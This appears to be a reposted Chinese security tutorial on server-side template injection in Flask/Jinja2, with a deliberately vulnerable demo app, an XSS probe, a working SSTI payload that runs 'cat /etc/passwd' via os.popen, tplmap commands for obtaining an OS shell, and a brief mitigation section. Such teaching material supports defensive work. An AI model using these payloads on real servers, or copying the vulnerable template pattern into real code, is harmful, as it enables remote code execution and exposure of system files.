IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> Flask-SSTI注入 -> 正文阅读

[Python知识库]Flask-SSTI注入

我的博客:acsec.xyz
微信公众号: Ac sec

一.概述

SSTI即服务端模板注入,是指用户输入的参数被服务端当成模板语言进行了渲染,从而导致代码执行。

1.Flask

Flask是一个基于python开发的web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个web应用程序。这个wdb应用程序可以使一些 web 页面、博客、wiki或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
Werkzeug(一个WSGI工具包)
jinja2(模板引擎)


2.Jinja 2

  • Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的;
  • Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换了 { { … } } ;
  • Jinja2模板同样支持控制语句,比如在 { % % } 中。

3.魔术方法

_ _ class_ _ 返回类型所属的对象
_ _ mro_ _ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_ _ base_ _ 返回该对象所继承的基类
// base 和mro都是用来寻找基类的
_ _ subclasses_ _ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_ _ init_ _ 类的初始化方法
_ _ globals_ _ 对包含函数全局变量的字典的引用


二.利用

1.环境搭建

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

Template()完全可控,可以通过name传参直接写入jinja2的模板语言

运行代码,访问http://127.0.0.1:5000。

在这里插入图片描述


2.插入xss脚本

http://127.0.0.1:5000/?name=<script>alert(1)</script>

在这里插入图片描述


3.乘法运算

http://127.0.0.1:5000/?name={{2*8}}

在这里插入图片描述


4.命令执行

cat /etc/passwd

http://127.0.0.1:5000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述

whoami

更改popen()中的内容即可

在这里插入图片描述


5.使用工具tplmap注入

安装

git clone https://github.com/epinna/tplmap
pip3 install -r requirements.txt 

使用

python tplmap.py -u 'http://127.0.0.1:5000?name=1'  //检测漏洞
python tplmap.py -u 'http://127.0.0.1:5000?name=1' --os-shell  //获得shell

在这里插入图片描述

在这里插入图片描述


三.防护

可以修改flask的修饰器@app.route("/ly0n")

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/ly0n")
def safe():
    name = request.args.get('name', 'guest')
    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

原理:将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了。


为了防止此类漏洞,应该像使用eval()函数一样处理字符串加载功能,尽可能加载静态模板文件。

此功能类似于require()函数调用。因此,应该防止本地文件包含(LFI)漏洞,不要允许用户控制此类文件或其内容的路径。

无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:12:29  更:2021-09-29 10:14:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 16:44:29-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码